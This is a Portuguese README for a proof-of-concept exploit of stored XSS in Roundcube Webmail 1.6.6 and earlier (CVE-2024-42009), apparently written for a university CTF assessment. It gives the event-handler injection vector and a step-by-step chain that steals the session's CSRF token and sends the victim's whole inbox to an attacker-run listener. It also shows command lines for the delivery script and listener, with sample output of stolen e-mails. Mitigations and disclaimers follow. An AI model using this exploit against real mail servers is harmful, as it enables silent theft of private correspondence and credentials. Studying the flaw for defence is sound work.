
Exploit de XSS armazenado para Roundcube Webmail ≤1.6.6 (CVE-2024-42009) com exfiltração de e-mail com zero clique através de manipuladores de eventos de animação CSS. Inclui script de entrega SMTP e listener compatível com CORS para CTF e testes de segurança autorizados.
Apenas para testes de segurança autorizados, ambientes CTF e pesquisa educacional.
Usar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito é ilegal sob o Computer Misuse Act 1990 (Reino Unido), a CFAA (EUA) e leis equivalentes em todo o mundo.
| Campo | Detalhe |
|---|---|
| CVE | CVE-2024-42009 |
| Software Afetado | Roundcube Webmail ≤ 1.6.6 |
| Versão Corrigida | 1.6.7 / 1.6.8 |
| Pontuação CVSS v3.1 | 8.8 (Alta) |
| Vetor CVSS | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — Neutralização Incorreta de Entrada Durante a Geração de Página Web (XSS) |
| Tipo de Ataque | XSS Armazenado → Exfiltração de e-mail sem clique |
| Autenticação Necessária | Nenhuma (entrega SMTP); Baixa (vítima deve abrir o e-mail) |
O sanitizador HTML do Roundcube 1.6.6 não remove manipuladores de eventos JavaScript anexados a keyframes de animação CSS dentro de um atributo malformado da tag <body>.
Vetor de injeção:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">
Quando a vítima abre o e-mail em sua sessão autenticada do Roundcube, a animação CSS é acionada imediatamente. O manipulador onanimationstart é executado com acesso total ao objeto JavaScript rcmail, incluindo o request_token da sessão.
Cadeia de exploração:
1. Atacante envia e-mail HTML malicioso para a vítima via relay SMTP não autenticado (porta 25)
2. Vítima abre o e-mail no Roundcube — animação dispara, JS executa (nenhum clique necessário)
3. JS lê rcmail.env.request_token (token CSRF válido para a sessão)
4. JS itera todos os UIDs da caixa de entrada via API de e-mail interna do Roundcube
5. Cada mensagem é buscada e seu conteúdo coletado
6. Todos os dados da caixa de entrada são enviados como JSON para o listener HTTP do atacante
7. Atacante lê os e-mails recuperados — podem conter credenciais, dados de sessão ou comunicações sensíveis
cve-2024-42009-roundcube-xss/
├── exploit.py # Sends the XSS payload via unauthenticated SMTP
├── listener.py # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html # Standalone XSS payload for manual inspection or Burp delivery
└── README.md
smtplib, http.server, json, argparse)python3 listener.py --port 8080
Saída quando os dados chegam:
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19
--- Email 1 ---
UID : 1
From : [email protected]
Subject : SSH Access Credentials
Body : Your credentials are: ...
O dump JSON completo é salvo automaticamente em exfil_dump.json.
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Security Advisory - Action Required"
Assim que o e-mail for aberto no Roundcube ≤ 1.6.6, o listener exibirá o conteúdo da caixa de entrada exfiltrada.
O purificador HTML do Roundcube é responsável por remover atributos perigosos antes de renderizar o HTML do e-mail recebido. Nas versões ≤ 1.6.6, o purificador remove corretamente onclick, onerror e manipuladores semelhantes — mas não remove manipuladores de eventos em eventos de animação CSS (onanimationstart, onanimationend, onanimationiteration).
Como as animações CSS são acionadas como parte da renderização (não da interação do usuário), o manipulador é executado no momento em que o e-mail é aberto — nenhum clique em link, nenhuma ação do usuário além de abrir a mensagem.
O objeto JavaScript rcmail é acessível globalmente em toda sessão autenticada do Roundcube. Ele expõe rcmail.env.request_token, que é o token CSRF da sessão. Combinado com os próprios endpoints da API de e-mail do Roundcube (?_task=mail&_action=list, ?_action=show), o payload pode ler toda a caixa de entrada sem acionar autenticação adicional.
| Versão | Status |
|---|---|
| ≤ 1.6.6 | Vulnerável |
| 1.6.7 | Corrigida |
| 1.6.8 | Corrigida (recomendada) |
| 1.5.x LTS | Consulte o aviso do fornecedor |
| Ação | Detalhe |
|---|---|
| Atualizar | Roundcube 1.6.8 ou superior corrige esta classe de XSS |
| Cabeçalho CSP | Implante Content-Security-Policy: default-src 'self'; script-src 'self' no vhost do webmail para bloquear a execução de JS inline |
Este PoC foi desenvolvido e testado como parte de uma avaliação de teste de penetração Boot-to-Root CTF no módulo Ethical Hacking and Penetration Testing, MSc Cybersecurity, Coventry University (2025–2026). Todos os testes foram conduzidos em um ambiente de laboratório VMware isolado com autorização explícita por escrito.
Autor: Segun Akinsoyinu
Portfólio: segunakinsoyinu.github.io/MyPortfolio
Este código é lançado apenas para fins educacionais e de pesquisa de segurança autorizada. O autor não aceita responsabilidade por uso indevido. Antes de usar esta ferramenta, confirme que você tem autorização explícita por escrito para testar o sistema alvo.
| Argumento | Descrição |
|---|
--smtp | IP ou nome do servidor SMTP alvo |
--port | Porta SMTP (padrão: 25) |
--from | Endereço do remetente (qualquer valor aceito pelo relay) |
--to | Endereço de e-mail da vítima |
--attacker | Seu IP — incorporado no payload como o coletor de exfiltração |
--lport | Sua porta do listener (padrão: 8080) |
--subject | Linha de assunto do e-mail |
| Relay SMTP | Desabilite o relay não autenticado na porta 25 — exija AUTH para toda entrega interna |